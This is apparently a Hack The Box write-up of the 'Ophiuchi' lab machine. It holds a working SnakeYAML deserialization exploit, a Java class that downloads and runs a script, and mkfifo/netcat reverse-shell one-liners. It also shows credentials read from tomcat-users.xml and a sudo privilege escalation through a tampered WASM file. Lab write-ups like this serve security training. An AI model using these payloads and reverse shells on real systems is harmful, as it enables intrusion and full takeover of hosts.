Welcome to the Ophiuchi writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


tags: HTB Medium Linux
Platform: Hackthebox
Difficult: Medium
S.O.: Linux



# sudo nmap -sC -sV -p22,8080 -n -T5 -oN PortInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 15:52 EST
Nmap scan report for
Host is up (0.035s latency).

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

In the port scan we find the SSH service for which we currently do not have credentials and a web service on port 8080.

When we write some text in the YAML parser, we can see that it shows a security message.

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

Ok, we are going to enumerate the files and folders that the web server has

# gobuster dir -t 40 -u -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] Timeout:        10s
2021/02/13 15:54:35 Starting gobuster
/test (Status: 302)
/manager (Status: 302)
/yaml (Status: 302)
2021/02/13 16:08:15 Finished

In the directory enumeration we can see that the yaml directory exists, so we are going to look for a known vulnerabilities and/or exploits.

Post found


In the previous post, we can find this link to an exploit that should be functional. We're going to try it!

# cat x4v1l0k.sh
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 8787 > /tmp/f
# cat src/artsploit/AwesomeScriptEngineFactory.java
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("wget -O /tmp/x4v1l0k.sh");
            Runtime.getRuntime().exec("bash /tmp/x4v1l0k.sh");
        } catch (IOException e) {

Now, having a terminal listening on the port that we have configured in the reverse shell of the payload, we send the following request with BURP

POST /Servlet HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
Connection: close
Cookie: JSESSIONID=8CD3F12B3403420EB0D4FFDAA1A14372
Upgrade-Insecure-Requests: 1

data=!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL [""]

And the result is, a shell with the user tomcat!

# nc -lnvp 8787
listening on [any] 8787 ...
tomcat@ophiuchi:/$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Post exploitation

Privilege escalation 1


In the directory /opt/tomcat/conf/tomcat-users.xml we can find the /manager website credentials.

tomcat@ophiuchi:~/conf$ cat /opt/tomcat/conf/tomcat-users.xml
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>


Let's test if we can authenticate as user admin with them.

tomcat@ophiuchi:~/conf$ su admin
admin@ophiuchi:/opt/tomcat/conf$ cd
admin@ophiuchi:~$ ls
admin@ophiuchi:~$ cat user.txt
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)

Perfect! we are already admin.

Privilege escalation 2


By listing the user's sudo privileges, we see that you can run the index.go as root without needing a password.

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass,

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Let's see the content of the script.

admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
package main

import (
        wasm "github.com/wasmerio/wasmer-go/wasmer"

func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {

Well, as we can see, it is loading the functions from the main.wasm and launch the deploy.sh script file if the f variable is 1.
As we can see, both files are searched in the current directory since there is no absolute path specified, so we can create our own files wherever we want and use them.
Looking a bit on internet, we can find a tool with which we can decompile, edit and recompile the file with the wasm extension.


We begin by decompiling the file to see how it works.

# ./wasm2wat ../../main.wasm -o ../../main.wat

# cat main.wat
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

If we look at the code in the index.go file we can see that it checks the value of f gets its value from the info variable which is assigned with the main.wasm file.
We should be able to modify the decompiled file to make info get the value 1 needed to pass the script condition and recompile the wat file to wasm

Therefore, we modify the following line from:

(func $info (type 0) (result i32)
    i32.const 0)


(func $info (type 0) (result i32)
    i32.const 1)

and we recompile the file.

# ./wat2wasm ../../main.wat -o ../../main.wasm

Well, now we upload the modified file to the /tmp directory of the machine with SCP.

# scp ../../main.wasm admin@
admin@'s password:

Now, we copy the index file to the same directory /tmp

# cp /opt/wasm-functions/index /tmp/index

and we create a file called deploy.sh with a reverse shell inside.

# echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 8787 > /tmp/f" > deploy.sh

# chmod +x deploy.sh

finally, we just have to execute the script with sudo in the /tmp directory while we have a terminal listening.

admin@ophiuchi:/tmp/test$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
# nc -lnvp 8787
listening on [any] 8787 ...
connect to [] from (UNKNOWN) [] 55374
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
# cat root.txt